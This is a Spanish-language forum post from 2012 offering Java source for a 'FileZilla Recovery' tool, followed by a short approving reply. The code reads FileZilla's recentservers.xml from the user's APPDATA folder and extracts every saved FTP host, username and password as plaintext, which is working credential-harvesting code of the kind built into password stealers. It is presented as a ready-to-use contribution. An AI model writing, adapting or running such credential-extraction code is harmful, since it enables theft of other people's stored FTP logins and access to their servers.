FileZilla Recovery [Fakedo0r]

Iniciado por Fakedo0r, Abril 19, 2012, 05:15:10 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 19, 2012, 05:15:10 PM Ultima modificación: Abril 18, 2013, 12:59:34 PM por Expermicid
Permite recuperar las cuentas FTP de Filezilla.

Código: java

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.BufferedReader;
import java.io.IOException;

public class FileZillaRecovery {

    public static String FileZilla() throws IOException
    {
       
        File sFile = null;
        FileReader Fr = null;
        BufferedReader Br = null;
       
        int         i;
        String      sName;
        String      sHost;
        String      sUser;
        String      sPass;
        String      sAccount;
        String      sFileXML;
        String      sF_Account;
        String[]    sArrAccount;

        sHost = "";
        sUser = "";
        sPass = "";
        sAccount = "";
        sF_Account = "";
       
        sName = System.getenv("APPDATA") + "\\FileZilla\\recentservers.xml";

        sFile = new File(sName);

        try
        {
            Fr = new FileReader(sFile);
            Br = new BufferedReader(Fr);

            while ((sFileXML = Br.readLine())!=null)
            {
                sAccount = sAccount + sFileXML + "\n";
            }
        } catch (FileNotFoundException ex)
        {
            System.out.println("No se pudo recuperar!");
           
            return sF_Account;
        }
       
        if (sAccount.indexOf("<RecentServers>")!=-1)
        {
            sAccount = TextCenter(sAccount,"<RecentServers>","</RecentServers>");

            sArrAccount = sAccount.split("<Server>");

            for (i=1;i<sArrAccount.length;i++)
            {
                sHost = TextCenter(sArrAccount[i],"<Host>","</Host>");
                sUser = TextCenter(sArrAccount[i],"<User>","</User>");
                sPass = TextCenter(sArrAccount[i],"<Pass>","</Pass>");

                sF_Account  = sF_Account +
                             "Host: " + sHost + "\n" +
                             "User: " + sUser + "\n" +
                             "Pass: " + sPass + "\n\n";
            }
            return sF_Account;
        }
        else
        {
            System.out.println("No se pudo recuperar!");
           
            return sF_Account;
        }
    }

    private static String TextCenter(String sTexto,String sDel1,String sDel2)
    {
        sTexto = sTexto.substring(sTexto.indexOf(sDel1)+sDel1.length(),sTexto.indexOf(sDel2));
       
        return sTexto;
    }
}


Saludo.

Exelente aportes te estas mandando. Como te has extendido en los lenguajes bro, te felicito.
Te comento en este solamente asi no te escribo lo mismo en los demas xD
Saludos,, Cronos.-